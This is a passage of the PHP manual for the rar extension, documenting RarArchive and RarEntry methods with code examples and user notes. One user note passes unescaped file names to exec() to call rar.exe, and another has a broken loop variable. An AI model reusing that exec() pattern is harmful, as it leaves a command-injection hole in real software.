//cannot send error messages from now on (headers already sent)

//replace by real content type, perhaps infering from the file extension
$contentType = "application/octet-stream";
header("Content-Type: $contentType");

header("Content-Transfer-Encoding: binary");

header("Content-Length: $filesize");

if ($_SERVER['REQUEST_METHOD'] == "HEAD")
    die();

while (!feof($fp)) {
    $s = @fread($fp, 8192);
    if ($s === false)
        break; //useless to send error messages

    echo $s;
}
?>

This example opens a RAR file and presents the requested file inside the RAR archive for download to the client.

Example #2 RAR extension filesystem extraction example

<?php

$rar_file = rar_open('example.rar') or die("Can't open Rar archive");

$entries = rar_list($rar_file);

foreach ($entries as $entry) {
    echo 'Filename: ' . $entry->getName() . "\n";
    echo 'Packed size: ' . $entry->getPackedSize() . "\n";
    echo 'Unpacked size: ' . $entry->getUnpackedSize() . "\n";

    $entry->extract('/dir/extract/to/');
}

rar_close($rar_file);

?>

This example opens a RAR file archive and extracts each entry to the specified directory.

User Contributed Notes

Nitrogen 17-Nov-2010 05:43
A veeery simple function to RAR files, I'm not proud of it.
Since there's no way to create RAR files in PHP (due to licensing, patents or whatever), I'm taking some advantage from the command-line RARing tool that comes with WinRAR (in the WinRAR program files named "rar.exe").

<?php
function RARFiles($Output='output.rar',$Files=array()) {
  $Data='';
  for($i=0;$i<count($Files);$i++)
    $Data.="\"{$Files[$i]}\" ";
  exec("rar.exe a \"{$Output}\" {$Data}");
}

$Files=array('file1.ext','file2.ext','file3.ext');
RARFiles('asdf.rar',$Files);
// asdf.rar created.
?>

There's no error checking, so make sure you check that your expected RAR file exists before doing anything with it.
Hopefully one day, PHP will be able to be allowed to create RAR files.


Rar Functions

Table of Contents

  • rar_wrapper_cache_stats — Cache hits and misses for the URL wrapper

User Contributed Notes

There are no user contributed notes for this page.


Cache hits and misses for the URL wrapper

  • « Rar Functions
  • RarArchive »
  • PHP Manual
  • Rar Functions
  • Cache hits and misses for the URL wrapper

rar_wrapper_cache_stats

(PECL rar >= 3.0.0)

rar_wrapper_cache_stats — Cache hits and misses for the URL wrapper

Description

string rar_wrapper_cache_stats ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The RarArchive class

(PECL rar >= 2.0.0)

Introduction

This class represents a RAR archive, which may be formed by several volumes (parts) and which contains a number of RAR entries (i.e., files, directories and other special objects such as symbolic links).

Objects of this class can be traversed, yielding the entries stored in the respective RAR archive. Those entries can also be obtained through RarArchive::getEntry() and RarArchive::getEntries().

Class synopsis

final RarArchive implements Traversable {
/* Methods */
public bool close ( void )
public string getComment ( void )
public array getEntries ( void )
public RarEntry getEntry ( string $entryname )
public bool isBroken ( void )
public bool isSolid ( void )
public static RarArchive open ( string $filename [, string $password = NULL [, callable $volume_callback = NULL ]] )
public bool setAllowBroken ( bool $allow_broken )
public string __toString ( void )
}

Table of Contents

  • RarArchive::close — Close RAR archive and free all resources
  • RarArchive::getComment — Get comment text from the RAR archive
  • RarArchive::getEntries — Get full list of entries from the RAR archive
  • RarArchive::getEntry — Get entry object from the RAR archive
  • RarArchive::isBroken — Test whether an archive is broken (incomplete)
  • RarArchive::isSolid — Check whether the RAR archive is solid
  • RarArchive::open — Open RAR archive
  • RarArchive::setAllowBroken — Whether opening broken archives is allowed
  • RarArchive::__toString — Get text representation

User Contributed Notes

There are no user contributed notes for this page.


Close RAR archive and free all resources

  • « RarArchive
  • RarArchive::getComment »
  • PHP Manual
  • RarArchive
  • Close RAR archive and free all resources

RarArchive::close

rar_close

(PECL rar >= 2.0.0)

RarArchive::close -- rar_close — Close RAR archive and free all resources

Description

Object oriented style (method):

public bool RarArchive::close ( void )

Procedural style:

bool rar_close ( RarArchive $rarfile )

Close RAR archive and free all allocated resources.

Parameters

rarfile

A RarArchive object, opened with rar_open().

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
2.0.0 | The RAR entries returned by RarArchive::getEntry() and RarArchive::getEntries() are now invalidated when calling this method. This means that all instance methods called for such entries and not guaranteed to succeed.

Examples

Example #1 Object oriented style

<?php
$rar_arch = RarArchive::open('latest_winrar.rar');
echo $rar_arch."\n";
$rar_arch->close();
echo $rar_arch."\n";
?>

The above example will output something similar to:

RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar"
RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar" (closed)

Example #2 Procedural style

<?php
$rar_arch = rar_open('latest_winrar.rar');
echo $rar_arch."\n";
rar_close($rar_arch);
echo $rar_arch."\n";
?>

User Contributed Notes

There are no user contributed notes for this page.


Get comment text from the RAR archive

  • « RarArchive::close
  • RarArchive::getEntries »
  • PHP Manual
  • RarArchive
  • Get comment text from the RAR archive

RarArchive::getComment

rar_comment_get

(PECL rar >= 2.0.0)

RarArchive::getComment -- rar_comment_get — Get comment text from the RAR archive

Description

Object oriented style (method):

public string RarArchive::getComment ( void )

Procedural style:

string rar_comment_get ( RarArchive $rarfile )

Get the (global) comment stored in the RAR archive. It may be up to 64 KiB long.

Note:

This extension does not support comments at the entry level.

Parameters

rarfile

A RarArchive object, opened with rar_open().

Return Values

Returns the comment or NULL if there is none.

Note:

RAR has currently no support for unicode comments. The encoding of the result of this function is not specified, but it will probably be Windows-1252.

Examples

Example #1 Object oriented style

<?php
$rar_arch = RarArchive::open('commented.rar');
echo $rar_arch->getComment();
?>

The above example will output something similar to:

This is the comment of the file commented.rar.

Example #2 Procedural style

<?php
$rar_arch = rar_open('commented.rar');
echo rar_comment_get($rar_arch);
?>

User Contributed Notes

There are no user contributed notes for this page.


Get full list of entries from the RAR archive

  • « RarArchive::getComment
  • RarArchive::getEntry »
  • PHP Manual
  • RarArchive
  • Get full list of entries from the RAR archive

RarArchive::getEntries

rar_list

(PECL rar >= 2.0.0)

RarArchive::getEntries -- rar_list — Get full list of entries from the RAR archive

Description

Object oriented style (method):

public array RarArchive::getEntries ( void )

Procedural style:

array rar_list ( RarArchive $rarfile )

Get entries list (files and directories) from the RAR archive.

Note:

If the archive has entries with the same name, this method, together with RarArchive foreach iteration and array-like access with numeric indexes, are the only ones to access all the entries (i.e., RarArchive::getEntry() and the rar:// wrapper are insufficient).

Parameters

rarfile

A RarArchive object, opened with rar_open().

Return Values

rar_list() returns array of RarEntry objects or FALSE on failure.

Changelog

Version | Description
3.0.0 | Support for RAR archives with repeated entry names is no longer defective.

Examples

Example #1 Object oriented style

<?php
$rar_arch = RarArchive::open('solid.rar');
if ($rar_arch === FALSE)
    die("Could not open RAR archive.");

$rar_entries = $rar_arch->getEntries();
if ($rar_entries === FALSE)
    die("Could retrieve entries.");

echo "Found " . count($rar_entries) . " entries.\n";

foreach ($rar_entries as $e) {
    echo $e;
    echo "\n";
}
$rar_arch->close();
?>

The above example will output something similar to:

Found 2 entries.
RarEntry for file "tese.txt" (23b93a7a)
RarEntry for file "unrardll.txt" (2ed64b6e)

Example #2 Procedural style

<?php
$rar_arch = rar_open('solid.rar');
if ($rar_arch === FALSE)
    die("Could not open RAR archive.");

$rar_entries = rar_list($rar_arch);
if ($rar_entries === FALSE)
    die("Could retrieve entries.");

echo "Found " . count($rar_entries) . " entries.\n";

foreach ($rar_entries as $e) {
    echo $e;
    echo "\n";
}
rar_close($rar_arch);
?>

See Also

  • RarArchive::getEntry() - Get entry object from the RAR archive
  • rar:// wrapper

User Contributed Notes

grap at hot dot ee 24-Jan-2013 11:01
Can be usefult for many, probably:
<?php
$path  = 'path/to/archive';

$archive = RarArchive::open($path);
$list       = $archive ->getEntries();
foreach ($list as $entity) {
    //print just title of file from archive(use getters to access other fields, etc)
    echo $value->getName();
}
?>


Get entry object from the RAR archive

  • « RarArchive::getEntries
  • RarArchive::isBroken »
  • PHP Manual
  • RarArchive
  • Get entry object from the RAR archive

RarArchive::getEntry

rar_entry_get

(PECL rar >= 2.0.0)

RarArchive::getEntry -- rar_entry_get — Get entry object from the RAR archive

Description

Object oriented style (method):

public RarEntry RarArchive::getEntry ( string $entryname )

Procedural style:

RarEntry rar_entry_get ( RarArchive $rarfile , string $entryname )

Get entry object (file or directory) from the RAR archive.

Note:

You can also get entry objects using RarArchive::getEntries().

Note that a RAR archive can have multiple entries with the same name; this method will retrieve only the first.

Parameters

rarfile

A RarArchive object, opened with rar_open().

entryname

Path to the entry within the RAR archive.

Note:

The path must be the same returned by RarEntry::getName().

Return Values

Returns the matching RarEntry object or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$rar_arch = RarArchive::open('solid.rar');
if ($rar_arch === FALSE)
    die("Could not open RAR archive.");
$rar_entry = $rar_arch->getEntry('tese.txt');
if ($rar_entry === FALSE)
    die("Could get such entry");
echo get_class($rar_entry)."\n";
echo $rar_entry;
$rar_arch->close();
?>

The above example will output something similar to:

RarEntry
RarEntry for file "tese.txt" (23b93a7a)

Example #2 Procedural style

<?php
$rar_arch = rar_open('solid.rar');
if ($rar_arch === FALSE)
    die("Could not open RAR archive.");
$rar_entry = rar_entry_get($rar_arch, 'tese.txt');
if ($rar_entry === FALSE)
    die("Could get such entry");
echo get_class($rar_entry)."\n";
echo $rar_entry;
rar_close($rar_arch);
?>

See Also

  • RarArchive::getEntries() - Get full list of entries from the RAR archive
  • rar:// wrapper

User Contributed Notes

There are no user contributed notes for this page.


Test whether an archive is broken (incomplete)

  • « RarArchive::getEntry
  • RarArchive::isSolid »
  • PHP Manual
  • RarArchive
  • Test whether an archive is broken (incomplete)

RarArchive::isBroken

rar_broken_is

(PECL rar >= 3.0.0)

RarArchive::isBroken -- rar_broken_is — Test whether an archive is broken (incomplete)

Description

Object oriented style (method):

public bool RarArchive::isBroken ( void )

Procedural style:

bool rar_broken_is ( RarArchive $rarfile )

This function determines whether an archive is incomplete, i.e., if a volume is missing or a volume is truncated.

Parameters

rarfile

A RarArchive object, opened with rar_open().

Return Values

Returns TRUE if the archive is broken, FALSE otherwise. This function may also return FALSE if the passed file has already been closed. The only way to tell the two cases apart is to enable exceptions with RarException::setUsingExceptions(); however, this should be unnecessary as a program should not operate on closed files.

Examples

Example #1 Object oriented style

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument is used to omit notice */
$arch = RarArchive::open($file, null, 'retnull');
var_dump($arch->isBroken());
?>

The above example will output something similar to:

bool(true)

Example #2 Procedural style

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument is used to omit notice */
$arch = rar_open($file, null, 'retnull');
var_dump(rar_broken_is($arch));
?>

See Also

  • RarArchive::setAllowBroken() - Whether opening broken archives is allowed

User Contributed Notes

There are no user contributed notes for this page.


Check whether the RAR archive is solid

  • « RarArchive::isBroken
  • RarArchive::open »
  • PHP Manual
  • RarArchive
  • Check whether the RAR archive is solid

RarArchive::isSolid

rar_solid_is

(PECL rar >= 2.0.0)

RarArchive::isSolid -- rar_solid_is — Check whether the RAR archive is solid

Description

Object oriented style (method):

public bool RarArchive::isSolid ( void )

Procedural style:

bool rar_solid_is ( RarArchive $rarfile )

Check whether the RAR archive is solid. Individual file extraction is slower on solid archives.

Parameters

rarfile

A RarArchive object, opened with rar_open().

Return Values

Returns TRUE if the archive is solid, FALSE otherwise.

Examples

Example #1 Object oriented style

<?php
$arch1 = RarArchive::open("store_method.rar");
$arch2 = RarArchive::open("solid.rar");
echo "$arch1: " . ($arch1->isSolid()?'yes':'no') ."\n";
echo "$arch2: " . ($arch2->isSolid()?'yes':'no') . "\n";
?>

The above example will output something similar to:

RAR Archive "C:\php_rar\trunk\tests\store_method.rar": no
RAR Archive "C:\php_rar\trunk\tests\solid.rar": yes

Example #2 Procedural style

<?php
$arch1 = rar_open("store_method.rar");
$arch2 = rar_open("solid.rar");
echo "$arch1: " . (rar_solid_is($arch1)?'yes':'no') ."\n";
echo "$arch2: " . (rar_solid_is($arch2)?'yes':'no') . "\n";
?>

User Contributed Notes

There are no user contributed notes for this page.


Open RAR archive

  • « RarArchive::isSolid
  • RarArchive::setAllowBroken »
  • PHP Manual
  • RarArchive
  • Open RAR archive

RarArchive::open

rar_open

(PECL rar >= 2.0.0)

RarArchive::open -- rar_open — Open RAR archive

Description

Object oriented style (method):

public static RarArchive RarArchive::open ( string $filename [, string $password = NULL [, callable $volume_callback = NULL ]] )

Procedural style:

RarArchive rar_open ( string $filename [, string $password = NULL [, callable $volume_callback = NULL ]] )

Open specified RAR archive and return RarArchive instance representing it.

Note:

If opening a multi-volume archive, the path of the first volume should be passed as the first parameter. Otherwise, not all files will be shown. This is by design.

Parameters

filename

Path to the Rar archive.

password

A plain password, if needed to decrypt the headers. It will also be used by default if encrypted files are found. Note that the files may have different passwords in respect to the headers and among them.

volume_callback

A function that receives one parameter – the path of the volume that was not found – and returns a string with the correct path for such volume or NULL if such volume does not exist or is not known. The programmer should ensure the passed function doesn't cause loops as this function is called repeatedly if the path returned in a previous call did not correspond to the needed volume. Specifying this parameter omits the notice that would otherwise be emitted whenever a volume is not found; an implementation that only returns NULL can therefore be used to merely omit such notices.

Warning

Prior to version 2.0.0, this function would not handle relative paths correctly. Use realpath() as a workaround.

Return Values

Returns the requested RarArchive instance or FALSE on failure.

Changelog

Version | Description
3.0.0 | volume_callback was added.

Examples

Example #1 Object oriented style

<?php
$rar_arch = RarArchive::open('encrypted_headers.rar', 'samplepassword');
if ($rar_arch === FALSE)
    die("Failed opening file");

$entries = $rar_arch->getEntries();
if ($entries === FALSE)
    die("Failed fetching entries");

echo "Found " . count($entries) . " files.\n";

if (empty($entries))
    die("No valid entries found.");

$stream = reset($entries)->getStream();
if ($stream === FALSE)
    die("Failed opening first file");

$rar_arch->close();

echo "Content of first one follows:\n";
echo stream_get_contents($stream);

fclose($stream);
?>

The above example will output something similar to:

Found 2 files.
Content of first one follows:
Encrypted file 1 contents.

Example #2 Procedural style

<?php
$rar_arch = rar_open('encrypted_headers.rar', 'samplepassword');
if ($rar_arch === FALSE)
    die("Failed opening file");

$entries = rar_list($rar_arch);
if ($entries === FALSE)
    die("Failed fetching entries");

echo "Found " . count($entries) . " files.\n";

if (empty($entries))
    die("No valid entries found.");

$stream = reset($entries)->getStream();
if ($stream === FALSE)
    die("Failed opening first file");

rar_close($rar_arch);

echo "Content of first one follows:\n";
echo stream_get_contents($stream);

fclose($stream);
?>

Example #3 Volume Callback

<?php
/* In this example, there's a volume named multi_broken.part1.rar
 * whose next volume is named multi.part2.rar */
function resolve($vol) {
    if (preg_match('/_broken/', $vol))
        return str_replace('_broken', '', $vol);
    else
        return null;
}
$rar_file1 = rar_open(dirname(__FILE__).'/multi_broken.part1.rar', null, 'resolve');
$entry = $rar_file1->getEntry('file2.txt');
$entry->extract(null, dirname(__FILE__) . "/temp_file2.txt");
?>

See Also

  • rar:// wrapper

User Contributed Notes

There are no user contributed notes for this page.


Whether opening broken archives is allowed

  • « RarArchive::open
  • RarArchive::__toString »
  • PHP Manual
  • RarArchive
  • Whether opening broken archives is allowed

RarArchive::setAllowBroken

(PECL rar >= 3.0.0)

RarArchive::setAllowBroken — Whether opening broken archives is allowed

Description

Object oriented style (method):

public bool RarArchive::setAllowBroken ( bool $allow_broken )

Procedural style:

bool rar_allow_broken_set ( RarArchive $rarfile , bool $allow_broken )

This method defines whether broken archives can be read or all the operations that attempt to extract the archive entries will fail. Broken archives are archives for which no error is detected when the file is opened but an error occurs when reading the entries.

Parameters

rarfile

A RarArchive object, opened with rar_open().

allow_broken

Whether to allow reading broken files (TRUE) or not (FALSE).

Return Values

Returns TRUE or FALSE on failure. It will only fail if the file has already been closed.

Examples

Example #1 Object oriented style

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument omits "volume not found" message */
$a = RarArchive::open($file, null, 'retnull');
$a->setAllowBroken(true);
foreach ($a->getEntries() as $e) {
    echo "$e\n";
}
var_dump(count($a));
?>

The above example will output something similar to:

RarEntry for file "file1.txt" (52b28202)
int(1)

Example #2 Procedural style

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument omits "volume not found" message */
$a = rar_open($file, null, 'retnull');
rar_allow_broken_set($a, true);
foreach (rar_list($a) as $e) {
    echo "$e\n";
}
var_dump(count($a));
?>

See Also

  • RarArchive::isBroken() - Test whether an archive is broken (incomplete)

User Contributed Notes

There are no user contributed notes for this page.


Get text representation

  • « RarArchive::setAllowBroken
  • RarEntry »
  • PHP Manual
  • RarArchive
  • Get text representation

RarArchive::__toString

(PECL rar >= 2.0.0)

RarArchive::__toString — Get text representation

Description

public string RarArchive::__toString ( void )

Provides a string representation for this RarArchive object. It currently shows the full path name of the archive volume that was opened and whether the resource is valid or was already closed through a call to RarArchive::close().

This method may be used only for debugging purposes, as there are no guarantees as to which information the result contains or how it is formatted.

Parameters

This function has no parameters.

Return Values

A textual representation of this RarArchive object. The content of this representation is unspecified.

Examples

Example #1 RarArchive::__toString() example

<?php
$rar_arch = RarArchive::open('latest_winrar.rar');
echo $rar_arch."\n";
$rar_arch->close();
echo $rar_arch."\n";
?>

The above example will output something similar to:

RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar"
RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar" (closed)

User Contributed Notes

There are no user contributed notes for this page.


The RarEntry class

(PECL rar >= 0.1)

Introduction

A RAR entry, representing a directory or a compressed file inside a RAR archive.

Class synopsis

final RarEntry {
/* Constants */
const integer HOST_MSDOS = 0 ;
const integer HOST_OS2 = 1 ;
const integer HOST_WIN32 = 2 ;
const integer HOST_UNIX = 3 ;
const integer HOST_MACOS = 4 ;
const integer HOST_BEOS = 5 ;
const integer ATTRIBUTE_WIN_READONLY = 1 ;
const integer ATTRIBUTE_WIN_HIDDEN = 2 ;
const integer ATTRIBUTE_WIN_SYSTEM = 4 ;
const integer ATTRIBUTE_WIN_DIRECTORY = 16 ;
const integer ATTRIBUTE_WIN_ARCHIVE = 32 ;
const integer ATTRIBUTE_WIN_DEVICE = 64 ;
const integer ATTRIBUTE_WIN_NORMAL = 128 ;
const integer ATTRIBUTE_WIN_TEMPORARY = 256 ;
const integer ATTRIBUTE_WIN_SPARSE_FILE = 512 ;
const integer ATTRIBUTE_WIN_REPARSE_POINT = 1024 ;
const integer ATTRIBUTE_WIN_COMPRESSED = 2048 ;
const integer ATTRIBUTE_WIN_OFFLINE = 4096 ;
const integer ATTRIBUTE_WIN_NOT_CONTENT_INDEXED = 8192 ;
const integer ATTRIBUTE_WIN_ENCRYPTED = 16384 ;
const integer ATTRIBUTE_WIN_VIRTUAL = 65536 ;
const integer ATTRIBUTE_UNIX_WORLD_EXECUTE = 1 ;
const integer ATTRIBUTE_UNIX_WORLD_WRITE = 2 ;
const integer ATTRIBUTE_UNIX_WORLD_READ = 4 ;
const integer ATTRIBUTE_UNIX_GROUP_EXECUTE = 8 ;
const integer ATTRIBUTE_UNIX_GROUP_WRITE = 16 ;
const integer ATTRIBUTE_UNIX_GROUP_READ = 32 ;
const integer ATTRIBUTE_UNIX_OWNER_EXECUTE = 64 ;
const integer ATTRIBUTE_UNIX_OWNER_WRITE = 128 ;
const integer ATTRIBUTE_UNIX_OWNER_READ = 256 ;
const integer ATTRIBUTE_UNIX_STICKY = 512 ;
const integer ATTRIBUTE_UNIX_SETGID = 1024 ;
const integer ATTRIBUTE_UNIX_SETUID = 2048 ;
const integer ATTRIBUTE_UNIX_FINAL_QUARTET = 61440 ;
const integer ATTRIBUTE_UNIX_FIFO = 4096 ;
const integer ATTRIBUTE_UNIX_CHAR_DEV = 8192 ;
const integer ATTRIBUTE_UNIX_DIRECTORY = 16384 ;
const integer ATTRIBUTE_UNIX_BLOCK_DEV = 24576 ;
const integer ATTRIBUTE_UNIX_REGULAR_FILE = 32768 ;
const integer ATTRIBUTE_UNIX_SYM_LINK = 40960 ;
const integer ATTRIBUTE_UNIX_SOCKET = 49152 ;
/* Methods */
public bool extract ( string $dir [, string $filepath = "" [, string $password = NULL [, bool $extended_data = false ]]] )
public int getAttr ( void )
public string getCrc ( void )
public string getFileTime ( void )
public int getHostOs ( void )
public int getMethod ( void )
public string getName ( void )
public int getPackedSize ( void )
public resource getStream ([ string $password ] )
public int getUnpackedSize ( void )
public int getVersion ( void )
public bool isDirectory ( void )
public bool isEncrypted ( void )
public string __toString ( void )
}

Predefined Constants

RarEntry::HOST_MSDOS

If the return value of RarEntry::getHostOs() equals this constant, MS-DOS was used to add this entry. Use instead of RAR_HOST_MSDOS.

RarEntry::HOST_OS2

If the return value of RarEntry::getHostOs() equals this constant, OS/2 was used to add this entry. Intended to replace RAR_HOST_OS2.

RarEntry::HOST_WIN32

If the return value of RarEntry::getHostOs() equals this constant, Microsoft Windows was used to add this entry. Intended to replace RAR_HOST_WIN32.

RarEntry::HOST_UNIX

If the return value of RarEntry::getHostOs() equals this constant, an unspecified UNIX OS was used to add this entry. Intended to replace RAR_HOST_UNIX.

RarEntry::HOST_MACOS

If the return value of RarEntry::getHostOs() equals this constant, Mac OS was used to add this entry.

RarEntry::HOST_BEOS

If the return value of RarEntry::getHostOs() equals this constant, BeOS was used to add this entry. Intended to replace RAR_HOST_BEOS.

RarEntry::ATTRIBUTE_WIN_READONLY

Bit that represents a Windows entry with a read-only attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_HIDDEN

Bit that represents a Windows entry with a hidden attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_SYSTEM

Bit that represents a Windows entry with a system attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_DIRECTORY

Bit that represents a Windows entry with a directory attribute (entry is a directory). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows. See also RarEntry::isDirectory(), which also works with entries that were not added in WinRAR.

RarEntry::ATTRIBUTE_WIN_ARCHIVE

Bit that represents a Windows entry with an archive attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_DEVICE

Bit that represents a Windows entry with a device attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_NORMAL

Bit that represents a Windows entry with a normal file attribute (entry is NOT a directory). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows. See also RarEntry::isDirectory(), which also works with entries that were not added in WinRAR.

RarEntry::ATTRIBUTE_WIN_TEMPORARY

Bit that represents a Windows entry with a temporary attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_SPARSE_FILE

Bit that represents a Windows entry with a sparse file attribute (file is an NTFS sparse file). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_REPARSE_POINT

Bit that represents a Windows entry with a reparse point attribute (entry is an NTFS reparse point, e.g. a directory junction or a mount file system). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_COMPRESSED

Bit that represents a Windows entry with a compressed attribute (NTFS only). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_OFFLINE

Bit that represents a Windows entry with an offline attribute (entry is offline and not accessible). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_NOT_CONTENT_INDEXED

Bit that represents a Windows entry with a not content indexed attribute (entry is to be indexed). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_ENCRYPTED

Bit that represents a Windows entry with an encrypted attribute (NTFS only). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_VIRTUAL

Bit that represents a Windows entry with a virtual attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_UNIX_WORLD_EXECUTE

Bit that represents a UNIX entry that is world executable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_WORLD_WRITE

Bit that represents a UNIX entry that is world writable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_WORLD_READ

Bit that represents a UNIX entry that is world readable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_EXECUTE

Bit that represents a UNIX entry that is group executable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_WRITE

Bit that represents a UNIX entry that is group writable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_READ

Bit that represents a UNIX entry that is group readable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_EXECUTE

Bit that represents a UNIX entry that is owner executable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_WRITE

Bit that represents a UNIX entry that is owner writable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_READ

Bit that represents a UNIX entry that is owner readable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_STICKY

Bit that represents the UNIX sticky bit. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_SETGID

Bit that represents the UNIX setgid attribute. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_SETUID

Bit that represents the UNIX setuid attribute. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET

Mask to isolate the last four bits (nibble) of UNIX attributes
      (_S_IFMT, the type of file mask). To be used with
      RarEntry::getAttr() on entries whose host OS is UNIX and with the
      constants RarEntry::ATTRIBUTE_UNIX_FIFO,
      RarEntry::ATTRIBUTE_UNIX_CHAR_DEV,
      RarEntry::ATTRIBUTE_UNIX_DIRECTORY,
      RarEntry::ATTRIBUTE_UNIX_BLOCK_DEV,
      RarEntry::ATTRIBUTE_UNIX_REGULAR_FILE,
      RarEntry::ATTRIBUTE_UNIX_SYM_LINK and
      RarEntry::ATTRIBUTE_UNIX_SOCKET.

RarEntry::ATTRIBUTE_UNIX_FIFO

Unix FIFOs will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_CHAR_DEV

Unix character devices will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_DIRECTORY

Unix directories will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET. See also RarEntry::isDirectory(), which also works with entries that were added in other operating systems.

RarEntry::ATTRIBUTE_UNIX_BLOCK_DEV

Unix block devices will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_REGULAR_FILE

Unix regular files (not directories) will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET. See also RarEntry::isDirectory(), which also works with entries that were added in other operating systems.

RarEntry::ATTRIBUTE_UNIX_SYM_LINK

Unix symbolic links will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_SOCKET

Unix sockets will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

Table of Contents

  • RarEntry::extract — Extract entry from the archive
  • RarEntry::getAttr — Get attributes of the entry
  • RarEntry::getCrc — Get CRC of the entry
  • RarEntry::getFileTime — Get entry last modification time
  • RarEntry::getHostOs — Get entry host OS
  • RarEntry::getMethod — Get pack method of the entry
  • RarEntry::getName — Get name of the entry
  • RarEntry::getPackedSize — Get packed size of the entry
  • RarEntry::getStream — Get file handler for entry
  • RarEntry::getUnpackedSize — Get unpacked size of the entry
  • RarEntry::getVersion — Get minimum version of RAR program required to unpack the entry
  • RarEntry::isDirectory — Test whether an entry represents a directory
  • RarEntry::isEncrypted — Test whether an entry is encrypted
  • RarEntry::__toString — Get text representation of entry

User Contributed Notes

There are no user contributed notes for this page.


Extract entry from the archive

  • « RarEntry
  • RarEntry::getAttr »
  • PHP Manual
  • RarEntry
  • Extract entry from the archive

RarEntry::extract

(PECL rar >= 0.1)

RarEntry::extract — Extract entry from the archive

Description

public bool RarEntry::extract ( string $dir [, string $filepath = "" [, string $password = NULL [, bool $extended_data = false ]]] )

RarEntry::extract() extracts the entry's data. It will create new file in the specified dir with the name identical to the entry's name, unless the second argument is specified. See below for more information.

Parameters

dir

Path to the directory where files should be extracted. This parameter is considered if and only if filepath is not. If both parameters are empty an extraction to the current directory will be attempted.

filepath

Path (relative or absolute) containing the directory and filename of the extracted file. This parameter overrides both the parameter dir and the original file name.

password

